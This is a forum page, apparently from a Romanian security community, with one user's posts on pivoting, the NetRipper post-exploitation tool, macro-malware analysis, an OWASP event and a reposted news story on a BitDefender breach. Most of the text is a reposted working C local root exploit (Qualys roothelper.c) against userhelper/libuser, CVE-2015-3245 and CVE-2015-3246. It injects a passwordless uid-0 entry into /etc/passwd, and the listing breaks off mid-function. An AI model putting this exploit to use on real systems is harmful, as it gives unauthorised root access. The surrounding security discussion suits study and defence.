Nytro

Pivoting to internal network via non-interactive shell August 6, 2015 Adrian Furtuna During a recent penetration test we have experienced the situation where we’ve gained remote code execution with limited privileges to a web server and had to pivot to other hosts from the internal network.For this, we had to find a reliable method to forward our traffic from our local machine to the internal host via the compromised server. This blog post describes how we solved this situation – for future reference. Problem details Our scenario is best described in the diagram below: Achieving our goal was not that straight forward since the compromised server was behind a firewall and only ports 80 and 443 were permitted inbound. Furthermore, we were executing commands as www-data user and our non-interactive shell (PHP passthru) was pretty limited. Articol complet: http://securitycafe.ro/2015/08/06/pivoting-to-internal-network-via-non-interactive-shell/

This guy is what we can really call a "hacker". Not a shitty kid that exploits a website or bruteforce a SSH password.

Reveniti la 7...

Description NetRipper is a post exploitation tool targeting Windows systems which uses API hooking in order to intercept network traffic and encryption related functions from a low privileged user, being able to capture both plain-text traffic and encrypted traffic before encryption/after decryption. NetRipper was released at Defcon 23, Las Vegas, Nevada. Abstract The post-exploitation activities in a penetration test can be challenging if the tester has low-privileges on a fully patched, well configured Windows machine. This work presents a technique for helping the tester to find useful information by sniffing network traffic of the applications on the compromised machine, despite his low-privileged rights. Furthermore, the encrypted traffic is also captured before being sent to the encryption layer, thus all traffic (clear-text and encrypted) can be sniffed. The implementation of this technique is a tool called NetRipper which uses API hooking to do the actions mentioned above and which has been especially designed to be used in penetration tests, but the concept can also be used to monitor network traffic of employees or to analyze a malicious application. https://github.com/NytroRST

Replace char chrome[260]; with char chrome[1024]; and check again.

What does "GetEnvironmentVariable" return and what is the content of the "chrome" variable after "GetEnvironmentVariable" function call?

A cumparat cineva? Pareri?

Maybe overflow. Declare the string as 1024 bytes and test. Check the return value of GetEnvironmentVariable and the contents of the variable after the call.

1. Deschideti fisierul cu Notepad++ 2. Cautati un base64 3. Decodati-l si vedeti daca incepe cu "ActiveMime" 4. Daca da, eliminati primii 50 de bytes 5. Salvati si ar trebui sa aveti un fisier OLE 6. Folositi OLEdump (al lui Didier Stevens) cu plugin-urile sale si obtineti URL-ul de unde descarca sau payload-ul (exe)

Pe 9 octombrie 2015 vom avea un eveniment parte a OWASP EEE (Eastern European Event). OWASP EEE este de fapt o saptamana de evenimente sincronizate organizata de capitole din Europa de Est (5-10 octombrie). Evenimentele vor avea live streaming pe youtube, astfel incat in fiecare zi oamenii din Europa si nu numai vor putea urmari un eveniment live dintr-o tara participanta. Capitolele implicate pana acum sunt: Romania (Bucuresti si Cluj), Polonia, Ungaria, Rusia si Austria. Acesta este "Call for Speakers" pentru evenimentul nostru. Asteptam inscrieri pentru prezentari sau workshop-uri din urmatoarele arii si nu numai: • Security aspects of new / emerging web technologies / paradigms / languages / frameworks • Secure development: frameworks, best practices, secure coding, methods, processes, SDLC, etc. • Security of web frameworks (Struts, Spring, ASP.Net MVC, RoR, etc) • Vulnerability analysis (code review, pentest, static analysis etc) • Threat modelling of applications • Mobile security and security for the mobile web • Cloud security • Browser security and local storage • Countermeasures for application vulnerabilities • New technologies, paradigms, tools • Application security awareness and education • Security in web services, REST, and service oriented architectures • Privacy in web apps, Web services and data storage Vor fi selectate prezentarile si temele cele mai interesante. Important: termenul limita pentru inscrierea prezentarilor este 17 septembrie conferinta va avea loc pe 9 octombrie prezentarile vor avea durata de 45 de minute fiecare va exista un speaker agreement O seara frumoasa! -- Oana Cornea, OWASP Romania OWASP Bucharest: https://www.owasp.org/index.php/OWASP_EEE_Bucharest_Event_2015 Call for speakers: https://docs.google.com/a/owasp.org/forms/d/1HnHihbW2FK8J9s1EaF4RKMphPcZnaS8Dim39h1bfttM/viewform OWASP EEE: http://owaspeee.appsec.xyz/

Translate: Geekbuying.com este unul dintre cele mai bune magazine online din China specializat în electronice, cum ar fi smartphone-uri, tablete, televizoare, Quadcoptere, etc. V? pute?i bucura de cele mai tari gadget-uri din întreaga lume, la pre?ul cel mai bun. Face?i cump?r?turi aici pentru cea mai bun? experien?a în cump?r?turi on-line. Mai mult, ne-am înfiin?at, de asemenea, în Spania, Marea Britanie si SUA depozite pentru transport rapid. Aici v? oferim review-uri, cupoane, reduceri, cadouri, etc. Nu conteaz? dac? sunte?i un geek sau nu, sunte?i sigur de cump?r?turi de la Geekbuying. Lucr?m cu pasiune pentru a dep??i a?tept?rile dumneavoastr? de fiecare dat?. Odat? ce ai cump?rat, vei ?ti. Link: geekbuying.com Nota: Intrebarile sa le puneti in limba engleza.

Vine cineva de aici la Defcon?

DIICOT? Poate fac si ei ceva util, in loc sa prinda pusti de 16 ani care sparg cate un site...

Jocurile de noroc sunt gandite matematic special pentru profitul casino-urilor. Cand o sa intelegi acest concept simplu, rezolvi problema.

Nu te laudai tu ca ai dat multe tepe si ca nimeni nu stie nimic despre tine?

Nu, planuim sa facem cu randul la Unirii: "Da si mie 100 de euro pentru forum..."

Anti-Virus Firm BitDefender Admits Breach, Hacker Claims Stolen Passwords Are Unencrypted BitDefender, a much-respected anti-virus firm, has leaked a portion of its customers’ usernames and passwords after facing an extortion attempt by a hacker, going by the name DetoxRansome. The perpetrator told FORBES all the data he stole was unencrypted. Usernames and passwords seen by your reporter were in plain text and would have been difficult to crack if previously encrypted, given the quality of the passwords. Law enforcement have been called in and an investigation is underway. The Romanian security company said in an emailed statement it found a potential security issue with a server and determined a single application was targeted – a component of its public cloud offering. The attack did not penetrate the server, but “a vulnerability potentially enabled exposure of a few user accounts and passwords”. The attack leaked a “very limited” number of usernames and passwords, representing “less than one per cent of our SMB customers”, the spokesperson said. “The issue was immediately resolved and, additional security measures were put in place in order to prevent it from reoccurring. As an extra precaution, a password reset notice was sent to all potentially affected customers,” the spokesperson added. “This does not affect our consumer or enterprise customers. Our investigation revealed no other server or services were impacted.” As noted by blog Hacker Film, last Friday DetoxRansome had demanded BitDefender pay $15,000 or see its customer database leaked. Over the weekend, the hacker dumped some data online, which appeared to contain more than 250 customers’ usernames and passwords. Some emails had .gov domain extensions, indicating government customers were affected. FORBES understands the ransom was not paid, whilst BitDefender could not offer any more details due to the ongoing police investigation. In an email, DetoxRansome said they had taken control of two BitDefender cloud servers and “got all logins”. “Yes they were unencrypted, I can prove it… they were using Amazon Elastic Web cloud which is notorious for SSL [a form of web encryption] problems.” Whilst it doesn’t seem a huge amount of data was taken, it’s concerning a hacker was able to grab unencrypted usernames and passwords from a security company. Researchers and hackers have proven security firms vulnerable repeatedly in recent months. This year saw Russian anti-virus firm Kaspersky breached, though it believes government-sponsored hackers were responsible as part of a surveillance operation, not criminals after money. There were claims Israel and US intelligence agents may have been involved. Documents leaked by Edward Snowden also showed the NSA had targeted a large number of anti-virus companies, including BitDefender. Days after that revelation, a Google researcher detailed holes in ESET anti-virus. Hacking Team TISI NaN%, a provider of spyware for law enforcement,was also breached. It appeared the individual responsible was an activist hoping to expose the Italian company and its history of selling to regimes with questionable records on human rights issues. If it’s not clear already, even security providers are vulnerable to compromise, whatever the motivation of the attackers. Sursa: http://www.forbes.com/sites/thomasbrewster/2015/07/31/bitdefender-hacked/

Mai bine iti instalezi o masina virtuala cu Linux si faci ce vrei de acolo.

Pare sa fie un device embedded.

Schimba extensia unui exe in .jpg si foloseste "blenderul" ca sa le unesti. Si ai unit o poza cu un exe. Cum imi trimiti banii?

BINE. Adevarul tot va iesi la iveala, asa ca nu voi prelungi asteptarea si va voi dezvalui un secret din strafundurile RST-ului... @Reckon !

roothelper.c - userhelper / libuser /* * roothelper.c - an unusual local root exploit against: * CVE-2015-3245 userhelper chfn() newline filtering * CVE-2015-3246 libuser passwd file handling * Copyright (C) 2015 Qualys, Inc. * * gecos_* types and functions inspired by userhelper.c * Copyright (C) 1997-2003, 2007, 2008 Red Hat, Inc. * * UH_* #defines and comments inspired by userhelper.h * Copyright (C) 1997-2001, 2007 Red Hat, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #define _GNU_SOURCE #include <ctype.h> #include <errno.h> #include <fcntl.h> #include <inttypes.h> #include <limits.h> #include <pwd.h> #include <sched.h> #include <signal.h> #include <stdarg.h> #include <stdbool.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/inotify.h> #include <sys/resource.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> /* A maximum GECOS field length. There's no hard limit, so we guess. */ #define GECOS_LENGTH 127 typedef char gecos_field[GECOS_LENGTH]; /* A structure to hold broken-out GECOS data. The number and names of the * fields are dictated entirely by the flavor of finger we use. Seriously. */ struct gecos_data { gecos_field full_name; /* full user name */ gecos_field office; /* office */ gecos_field office_phone; /* office phone */ gecos_field home_phone; /* home phone */ gecos_field site_info; /* other stuff */ }; static struct userhelper { struct gecos_data gecos; rlim_t fsizelim; pid_t pid; int fd; } userhelpers[GECOS_LENGTH]; static void die_in_parent(const char *const file, const unsigned int line, const char *const function) { fprintf(stderr, "died in parent: %s:%u: %s\n", file, line, function); fflush(stderr); unsigned int i; for (i = 0; i < GECOS_LENGTH; i++) { const pid_t pid = userhelpers[i].pid; if (pid <= 0) continue; kill(pid, SIGKILL); } _exit(EXIT_FAILURE); } static void die_in_child(const char *const file, const unsigned int line, const char *const function) { fprintf(stderr, "died in child: %s:%u: %s\n", file, line, function); exit(EXIT_FAILURE); } static void (*die_fn)(const char *, unsigned int, const char *) = die_in_parent; #define die() die_fn(__FILE__, __LINE__, __func__) static void * xmalloc(const size_t size) { if (size <= 0) die(); if (size >= INT_MAX) die(); void *const ptr = malloc(size); if (ptr == NULL) die(); return ptr; } static void * xrealloc(void *const old, const size_t size) { if (size <= 0) die(); if (size >= INT_MAX) die(); void *const new = realloc(old, size); if (new == NULL) die(); return new; } static char * xstrndup(const char *const old, const size_t len) { if (old == NULL) die(); if (len >= INT_MAX) die(); char *const new = strndup(old, len); if (new == NULL) die(); if (len != strlen(new)) die(); return new; } static int xsnprintf(char *const str, const size_t size, const char *const format, ...) { if (str == NULL) die(); if (size <= 0) die(); if (size >= INT_MAX) die(); if (format == NULL) die(); va_list ap; va_start(ap, format); const int len = vsnprintf(str, size, format, ap); va_end(ap); if (len < 0) die(); if ((unsigned int)len >= size) die(); if ((unsigned int)len != strlen(str)) die(); return len; } static int xopen(const char *const pathname, const int flags) { if (pathname == NULL) die(); if (*pathname != '/') die(); if (flags != O_RDONLY) die(); const int fd = open(pathname, flags); if (fd <= -1) die(); static const struct flock rdlock = { .l_type = F_RDLCK, .l_whence = SEEK_SET, .l_start = 0, .l_len = 0 }; if (fcntl(fd, F_SETLK, &rdlock) != 0) die(); return fd; } static void xclose(const int fd) { if (fd <= -1) die(); static const struct flock unlock = { .l_type = F_UNLCK, .l_whence = SEEK_SET, .l_start = 0, .l_len = 0 }; if (fcntl(fd, F_SETLK, &unlock) != 0) die(); if (close(fd) != 0) die(); } #define GECOS_BADCHARS ":,=\n" /* A simple function to compute the size of a gecos string containing the * data we have. */ static size_t gecos_size(const struct gecos_data *const parsed) { if (parsed == NULL) die(); size_t len = 4; /* commas! */ len += strlen(parsed->full_name); len += strlen(parsed->office); len += strlen(parsed->office_phone); len += strlen(parsed->home_phone); len += strlen(parsed->site_info); len++; return len; } /* Parse the passed-in GECOS string and set PARSED to its broken-down contents. Note that the parsing is performed using the convention obeyed by BSDish finger(1) under Linux. */ static void gecos_parse(const char *const gecos, struct gecos_data *const parsed) { if (gecos == NULL) die(); if (strlen(gecos) >= INT_MAX) die(); if (parsed == NULL) die(); memset(parsed, 0, sizeof(*parsed)); unsigned int i; const char *field = gecos; for (i = 0; ; i++) { const char *field_end = strchrnul(field, ','); gecos_field *dest = NULL; switch (i) { case 0: dest = &parsed->full_name; break; case 1: dest = &parsed->office; break; case 2: dest = &parsed->office_phone; break; case 3: dest = &parsed->home_phone; break; case 4: field_end = rawmemchr(field_end, '\0'); dest = &parsed->site_info; break; default: die(); } const size_t field_len = field_end - field; xsnprintf(*dest, sizeof(*dest), "%.*s", (int)field_len, field); if (strlen(*dest) != field_len) die(); if (strpbrk(*dest, GECOS_BADCHARS) != NULL && i != 4) die(); if (*field_end == '\0') break; field = field_end + 1; } if (gecos_size(parsed) > GECOS_LENGTH) die(); } /* Assemble a new gecos string. */ static const char * gecos_assemble(const struct gecos_data *const parsed) { static char ret[GECOS_LENGTH]; size_t i; if (parsed == NULL) die(); /* Construct the basic version of the string. */ xsnprintf(ret, sizeof(ret), "%s,%s,%s,%s,%s", parsed->full_name, parsed->office, parsed->office_phone, parsed->home_phone, parsed->site_info); /* Strip off terminal commas. */ i = strlen(ret); while ((i > 0) && (ret[i - 1] == ',')) { ret[i - 1] = '\0'; i--; } return ret; } /* Descriptors used to communicate between userhelper and consolhelper. */ #define UH_INFILENO 3 #define UH_OUTFILENO 4 /* Userhelper request format: request code as a single character, request data size as UH_REQUEST_SIZE_DIGITS decimal digits request data '\n' */ #define UH_REQUEST_SIZE_DIGITS 8 /* Synchronization point code. */ #define UH_SYNC_POINT 32 /* Valid userhelper request codes. */ #define UH_ECHO_ON_PROMPT 34 #define UH_ECHO_OFF_PROMPT 35 #define UH_EXPECT_RESP 39 #define UH_SERVICE_NAME 40 #define UH_USER 42 /* Consolehelper response format: response code as a single character, response data '\n' */ /* Consolehelper response codes. */ #define UH_TEXT 33 /* Valid userhelper error codes. */ #define ERR_UNK_ERROR 255 /* unknown error */ /* Paths, flag names, and other stuff. */ #define UH_PATH "/usr/sbin/userhelper" #define UH_FULLNAME_OPT "-f" #define UH_OFFICE_OPT "-o" #define UH_OFFICEPHONE_OPT "-p" #define UH_HOMEPHONE_OPT "-h" static char read_request(const int fd, char *const data, const size_t size) { if (fd <= -1) die(); if (data == NULL) die(); if (size >= INT_MAX) die(); char header[1 + UH_REQUEST_SIZE_DIGITS + 1]; if (read(fd, header, sizeof(header)-1) != sizeof(header)-1) die(); header[sizeof(header)-1] = '\0'; errno = 0; char *endptr = NULL; const unsigned long len = strtoul(&header[1], &endptr, 10); if (errno != 0 || endptr != &header[sizeof(header)-1]) die(); if (len >= size) die(); if (read(fd, data, len+1) != (ssize_t)(len+1)) die(); if (data[len] != '\n') die(); data[len] = '\0'; if (strlen(data) != len) die(); if (strchr(data, '\n') != NULL) die(); return header[0]; } static void send_reply(const int fd, const unsigned char type, const char *const data) { if (fd <= -1) die(); if (!isascii(type)) die(); if (!isprint(type)) die(); if (data == NULL) die(); if (strpbrk(data, "\r\n") != NULL) die(); char buf[BUFSIZ]; const int len = xsnprintf(buf, sizeof(buf), "%c%s\n", (int)type, data); if (send(fd, buf, len, MSG_NOSIGNAL) != len) die(); } #define ETCDIR "/etc" #define PASSWD "/etc/passwd" #define BACKUP "/etc/passwd-" static struct { char username[64]; char password[64]; struct gecos_data gecos; } my; static volatile sig_atomic_t is_child_dead; static void sigchild_handler(const int signum __attribute__ ((__unused__))) { is_child_dead = true; } static int wait_for_userhelper(struct userhelper *const uh, const int options) { if (uh == NULL) die(); if (uh->pid <= 0) die(); if ((options & ~(WUNTRACED | WCONTINUED)) != 0) die(); int status; for ( { const pid_t pid = waitpid(uh->pid, &status, options); if (pid == uh->pid) break; if (pid > 0) _exit(255); if (pid != -1) die(); if (errno != EINTR) die(); } if (WIFEXITED(status) || WIFSIGNALED(status)) uh->pid = -1; return status; } static void forkstop_userhelper(struct userhelper *const uh) { if (uh == NULL) die(); if (uh->pid != 0) die(); if (gecos_size(&uh->gecos) > GECOS_LENGTH) die(); struct rlimit fsize; if (getrlimit(RLIMIT_FSIZE, &fsize) != 0) die(); if (uh->fsizelim > fsize.rlim_max) die(); if (uh->fsizelim <= 0) die(); fsize.rlim_cur = uh->fsizelim; cpu_set_t old_cpus; CPU_ZERO(&old_cpus); if (sched_getaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die(); { const int cpu = sched_getcpu(); if (cpu >= CPU_SETSIZE) die(); if (cpu < 0) die(); cpu_set_t new_cpus; CPU_ZERO(&new_cpus); CPU_SET(cpu, &new_cpus); if (sched_setaffinity(0, sizeof(new_cpus), &new_cpus) != 0) die(); } int sv[2]; if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) die(); if (is_child_dead) die(); static const struct sigaction sigchild_action = { .sa_handler = sigchild_handler, .sa_flags = SA_NOCLDSTOP }; if (sigaction(SIGCHLD, &sigchild_action, NULL) != 0) die(); uh->pid = fork(); if (uh->pid <= -1) die(); if (uh->pid == 0) { die_fn = die_in_child; if (close(sv[1]) != 0) die(); if (dup2(sv[0], UH_INFILENO) != UH_INFILENO) die(); if (dup2(sv[0], UH_OUTFILENO) != UH_OUTFILENO) die(); const int devnull_fd = open("/dev/null", O_RDWR); if (dup2(devnull_fd, STDIN_FILENO) != STDIN_FILENO) die(); if (dup2(devnull_fd, STDOUT_FILENO) != STDOUT_FILENO) die(); if (dup2(devnull_fd, STDERR_FILENO) != STDERR_FILENO) die(); if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die(); if (signal(SIGXFSZ, SIG_IGN) == SIG_ERR) die(); if (setrlimit(RLIMIT_FSIZE, &fsize) != 0) die(); if (setpriority(PRIO_PROCESS, 0, +19) != 0) die(); static const struct sched_param sched_param = { .sched_priority = 0 }; (void) sched_setscheduler(0, SCHED_IDLE, &sched_param); char *const argv[] = { UH_PATH, UH_FULLNAME_OPT, uh->gecos.full_name, UH_OFFICE_OPT, uh->gecos.office, UH_OFFICEPHONE_OPT, uh->gecos.office_phone, UH_HOMEPHONE_OPT, uh->gecos.home_phone, NULL }; char *const envp[] = { NULL }; execve(UH_PATH, argv, envp); die(); } if (die_fn != die_in_parent) die(); if (close(sv[0]) != 0) die(); uh->fd = sv[1]; unsigned long expected_responses = 0; for ( { char data[BUFSIZ]; const char type = read_request(uh->fd, data, sizeof(data)); if (type == UH_SYNC_POINT) break; switch (type) { case UH_USER: if (strcmp(data, my.username) != 0) die(); break; case UH_SERVICE_NAME: if (strcmp(data, "chfn") != 0) die(); break; case UH_ECHO_ON_PROMPT: case UH_ECHO_OFF_PROMPT: if (++expected_responses == 0) die(); break; case UH_EXPECT_RESP: if (strtoul(data, NULL, 10) != expected_responses) die(); break; default: break; } } if (expected_responses != 1) die(); const int lpasswd_fd = xopen(PASSWD, O_RDONLY); const int inotify_fd = inotify_init(); if (inotify_fd <= -1) die(); if (inotify_add_watch(inotify_fd, PASSWD, IN_CLOSE_NOWRITE | IN_OPEN) <= -1) die(); if (inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE) <= -1) { if (errno != ENOENT) die(); if (inotify_add_watch(inotify_fd, ETCDIR, IN_CREATE) <= -1) die(); } send_reply(uh->fd, UH_TEXT, my.password); send_reply(uh->fd, UH_SYNC_POINT, ""); if (close(uh->fd) != 0) die(); uh->fd = -1; unsigned int state = 0; static const uint32_t transition[] = { IN_CLOSE_WRITE, IN_CLOSE_NOWRITE, IN_OPEN, 0 }; for ( { if (is_child_dead) die(); char buffer[10 * (sizeof(struct inotify_event) + NAME_MAX + 1)]; const ssize_t _buflen = read(inotify_fd, buffer, sizeof(buffer)); if (is_child_dead) die(); if (_buflen <= 0) die(); size_t buflen = _buflen; if (buflen > sizeof(buffer)) die(); struct inotify_event *ep; for (ep = (struct inotify_event *)(buffer); buflen >= sizeof(*ep); ep = (struct inotify_event *)(ep->name + ep->len)) { buflen -= sizeof(*ep); if (ep->len > 0) { if (buflen < ep->len) die(); buflen -= ep->len; if ((ep->mask & IN_CREATE) == 0) die(); (void) inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE); continue; } if (ep->len != 0) die(); while ((ep->mask & transition[state]) != 0) { ep->mask &= ~transition[state++]; if (transition[state] == 0) goto stop_userhelper; } } if (buflen != 0) die(); } stop_userhelper: if (kill(uh->pid, SIGSTOP) != 0) die(); if (close(inotify_fd) != 0) die(); const int status = wait_for_userhelper(uh, WUNTRACED); if (!WIFSTOPPED(status)) die(); if (WSTOPSIG(status) != SIGSTOP) die(); xclose(lpasswd_fd); if (signal(SIGCHLD, SIG_DFL) == SIG_ERR) die(); if (sched_setaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die(); } static void continue_userhelper(struct userhelper *const uh) { if (uh == NULL) die(); if (uh->fd != -1) die(); if (uh->pid <= 0) die(); if (kill(uh->pid, SIGCONT) != 0) die(); { const int status = wait_for_userhelper(uh, WCONTINUED); if (!WIFCONTINUED(status)) die(); } { const int status = wait_for_userhelper(uh, 0); if (!WIFEXITED(status)) die(); if (WEXITSTATUS(status) != ((uh->fsizelim == RLIM_INFINITY) ? 0 : ERR_UNK_ERROR)) die(); } memset(uh, 0, sizeof(*uh)); } static void create_backup_of_passwd_file(void) { char backup[] = "/tmp/passwd-XXXXXX"; const mode_t prev_umask = umask(077); const int ofd = mkstemp(backup); (void) umask(prev_umask); if (ofd <= -1) die(); printf("Creating a backup copy of \"%s\" named \"%s\"\n", PASSWD, backup); const int ifd = xopen(PASSWD, O_RDONLY); for ( { char buf[BUFSIZ]; const ssize_t len = read(ifd, buf, sizeof(buf)); if (len == 0) break; if (len <= 0) die(); if (write(ofd, buf, len) != len) die(); } xclose(ifd); if (close(ofd) != 0) die(); } static void delete_lines_from_passwd_file(void) { struct gecos_data gecos; memset(&gecos, 0, sizeof(gecos)); xsnprintf(gecos.site_info, sizeof(gecos.site_info), "%s", my.gecos.site_info); const ssize_t fullname_max = GECOS_LENGTH - gecos_size(&gecos); if (fullname_max >= GECOS_LENGTH) die(); if (fullname_max <= 0) die(); char fragment[64]; xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username); char *contents = NULL; for ( { struct stat st; const int fd = xopen(PASSWD, O_RDONLY); if (fstat(fd, &st) != 0) die(); if (st.st_size >= INT_MAX) die(); if (st.st_size <= 0) die(); contents = xrealloc(contents, st.st_size + 1); if (read(fd, contents, st.st_size) != st.st_size) die(); contents[st.st_size] = '\0'; xclose(fd); const char *cp = strstr(contents, fragment); if (cp == NULL) die(); cp = strchr(cp + 2, '\n'); if (cp == NULL) die(); if (cp[1] == '\0') break; char *const tp = contents + st.st_size-1; *tp = '\0'; if (tp <= cp) die(); if (tp - cp > fullname_max) cp = tp - fullname_max; cp = strpbrk(cp, "\n:, "); if (cp == NULL) die(); const ssize_t fullname_len = tp - cp; if (fullname_len >= GECOS_LENGTH) die(); if (fullname_len <= 0) die(); printf("Deleting %zd bytes from \"%s\"\n", fullname_len, PASSWD); struct userhelper *const uh = &userhelpers[0]; memset(uh->gecos.full_name, 'A', fullname_len); uh->fsizelim = st.st_size; forkstop_userhelper(uh); continue_userhelper(uh); uh->fsizelim = RLIM_INFINITY; forkstop_userhelper(uh); continue_userhelper(uh); } free(contents); } static size_t passwd_fsize; static int generate_userhelpers(const char *); #define IS_USER_LAST "last user in passwd file?" static char candidate_users[256]; static char superuser_elect; int main(void) { create_backup_of_passwd_file(); { char candidate[] = "a"; for (; candidate[0] <= 'z'; candidate[0]++) { if (getpwnam(candidate) != NULL) continue; strcat(candidate_users, candidate); } } if (candidate_users[0] == '\0') die(); const struct passwd *const pwd = getpwuid(getuid()); if ((pwd == NULL) || (pwd->pw_name == NULL)) die(); xsnprintf(my.username, sizeof(my.username), "%s", pwd->pw_name); gecos_parse(pwd->pw_gecos, &my.gecos); if (fputs("Please enter your password:\n", stdout) == EOF) die(); if (fgets(my.password, sizeof(my.password), stdin) == NULL) die(); char *const newline = strchr(my.password, '\n'); if (newline == NULL) die(); *newline = '\0'; { struct userhelper *const uh = &userhelpers[0]; uh->fsizelim = RLIM_INFINITY; forkstop_userhelper(uh); continue_userhelper(uh); } retry: if (generate_userhelpers(IS_USER_LAST)) { struct userhelper *const uh1 = &userhelpers[1]; strcpy(uh1->gecos.full_name, "\n"); uh1->fsizelim = passwd_fsize + 1; struct userhelper *const uh0 = &userhelpers[0]; uh0->fsizelim = passwd_fsize; forkstop_userhelper(uh1), forkstop_userhelper(uh0); continue_userhelper(uh1), continue_userhelper(uh0); if (generate_userhelpers(IS_USER_LAST)) die(); } static const char a[] = "?::0:0::/:"; printf("Attempting to add \"%s\" to \"%s\"\n", a, PASSWD); const int n = generate_userhelpers(a); if (n == -1) { static int retries; if (retries++) die(); memset(userhelpers, 0, sizeof(userhelpers)); delete_lines_from_passwd_file(); goto retry; } if (n <= 0) die(); if (n >= GECOS_LENGTH) die(); if (superuser_elect == '\0') die(); int i; for (i = n; --i >= 0; ) { printf("Starting and stopping userhelper #%d\n", i); forkstop_userhelper(&userhelpers[i]); } for (i = n; --i >= 0; ) { printf("Continuing stopped userhelper #%d\n", i); continue_userhelper(&userhelpers[i]); } printf("Exploit successful, run \"su %c\" to become root\n", (int)superuser_elect); { struct userhelper *const uh = &userhelpers[0]; uh->fsizelim = RLIM_INFINITY; uh->gecos = my.gecos; forkstop_userhelper(uh); continue_userhelper(uh); } exit(EXIT_SUCCESS); } static void generate_fullname(char *const fullname, const ssize_t fullname_len, const char c) { if (fullname == NULL) die(); if (fullname_len < 0) die(); if (fullname_len >= GECOS_LENGTH) die(); memset(fullname, 'A', fullname_len); if (fullname_len > 0 && strchr(GECOS_BADCHARS, c) == NULL) { if (!isascii((unsigned char)c)) die(); if (!isgraph((unsigned char)c)) die(); fullname[fullname_len-1] = c; } } static size_t siteinfo_len; static size_t fullname_off; static size_t before_fullname_len; static char * before_fullname; static size_t after_fullname_len; static char * after_fullname; static int generate_userhelper(const char *const a, const int i, char *const contents) { if (i < 0) { if (i != -1) die(); return 0; } if (a == NULL) die(); if ((unsigned int)i >= strlen(a)) die(); if (contents == NULL) die(); const char _c = a[i]; const bool is_user_wildcard = (_c == '?'); const char c = (is_user_wildcard ? candidate_users[0] : _c); if (c == '\0') die(); const size_t target = passwd_fsize-1 + i; const rlim_t fsizelim = (a[i+1] == '\0') ? RLIM_INFINITY : target+1; if (fsizelim < passwd_fsize) die(); const size_t contents_len = strlen(contents); if (contents_len < passwd_fsize) die(); if (contents_len <= fullname_off) die(); char *const fullname = contents + fullname_off; if (memcmp(fullname - before_fullname_len, before_fullname, before_fullname_len) != 0) die(); const char *rest = strchr(fullname, '\n'); if (rest == NULL) die(); rest++; const ssize_t fullname_len = (rest - fullname) - after_fullname_len; if (fullname_len >= GECOS_LENGTH) die(); if (fullname_len < 0) die(); if (rest[-1] != '\n') die(); generate_fullname(fullname, fullname_len, c); memcpy(fullname + fullname_len, after_fullname, after_fullname_len); if (rest[-1] != '\n') die(); if (memcmp(rest - after_fullname_len, after_fullname, after_fullname_len) != 0) die(); size_t offset; for (offset = fullname_off; offset < contents_len; offset++) { const char x = contents[offset]; if (x == '\0') die(); if (is_user_wildcard) { if (strchr(candidate_users, x) == NULL) continue; superuser_elect = x; } else { if (x != c) continue; } const ssize_t new_fullname_len = fullname_len + (target - offset); if (new_fullname_len < 0) continue; /* gecos_size() > GECOS_LENGTH */ if (4 + new_fullname_len + siteinfo_len + 1 > GECOS_LENGTH) continue; if (offset < fullname_off + fullname_len) { if (offset != fullname_off + fullname_len-1) die(); if (new_fullname_len == 0) continue; } if (offset >= contents_len-1) { if (offset != contents_len-1) die(); if (fsizelim != RLIM_INFINITY) continue; } { char *const new_contents = xmalloc(contents_len+1 + GECOS_LENGTH); memcpy(new_contents, contents, fullname_off); generate_fullname(new_contents + fullname_off, new_fullname_len, c); memcpy(new_contents + fullname_off + new_fullname_len, contents + fullname_off + fullname_len, contents_len+1 - (fullname_off + fullname_len)); if (strlen(new_contents) != contents_len + (new_fullname_len - fullname_len)) die(); if (fsizelim != RLIM_INFINITY) { if (fsizelim >= strlen(new_contents)) die(); if (fsizelim >= contents_len) die(); memcpy(new_contents + fsizelim, contents + fsizelim, contents_len+1 - fsizelim); } const int err = generate_userhelper(a, i-1, new_contents); free(new_contents); if (err < 0) continue; } if (i >= GECOS_LENGTH) die(); struct userhelper *const uh = &userhelpers[i]; memset(uh, 0, sizeof(*uh)); uh->fsizelim = fsizelim; if (new_fullname_len >= GECOS_LENGTH) die(); generate_fullname(uh->gecos.full_name, new_fullname_len, c); return 0; } return -1; } static int generate_userhelpers(const char *const _a) { char a[GECOS_LENGTH]; if (_a == NULL) die(); const int n = xsnprintf(a, sizeof(a), "\n%s\n", _a); if (n >= GECOS_LENGTH) die(); if (n <= 0) die(); const int fd = xopen(PASSWD, O_RDONLY); struct stat st; if (fstat(fd, &st) != 0) die(); if (st.st_size >= 10*1024*1024) die(); if (st.st_size <= 0) die(); passwd_fsize = st.st_size; char *const contents = xmalloc(passwd_fsize + 1); if (read(fd, contents, passwd_fsize) != (ssize_t)passwd_fsize) die(); xclose(fd); contents[passwd_fsize] = '\0'; if (strlen(contents) != passwd_fsize) die(); if (contents[passwd_fsize-1] != '\n') die(); char fragment[64]; xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username); const char *line = strstr(contents, fragment); if (line == NULL) die(); line++; const char *rest = strchr(line, '\n'); if (rest == NULL) die(); if (rest <= line) die(); rest++; if (strcmp(_a, IS_USER_LAST) == 0) { const bool is_user_last = (*rest == '\0'); free(contents); return is_user_last; } unsigned int i; const char *field = line; for (i = 0; i <= 5; i++) { const char *const field_end = strchr(field, ':'); if (field_end == NULL) die(); if (field_end >= rest) die(); const size_t field_len = field_end - field; switch (i) { case 0: if (field_len != strlen(my.username)) die(); if (memcmp(field, my.username, field_len) != 0) die(); break; case 1: if (*field != 'x') die(); break; case 2: if (strtoimax(field, NULL, 10) != getuid()) die(); break; case 3: if (strtoimax(field, NULL, 10) != getgid()) die(); break; case 4: { char assembled[GECOS_LENGTH]; xsnprintf(assembled, sizeof(assembled), 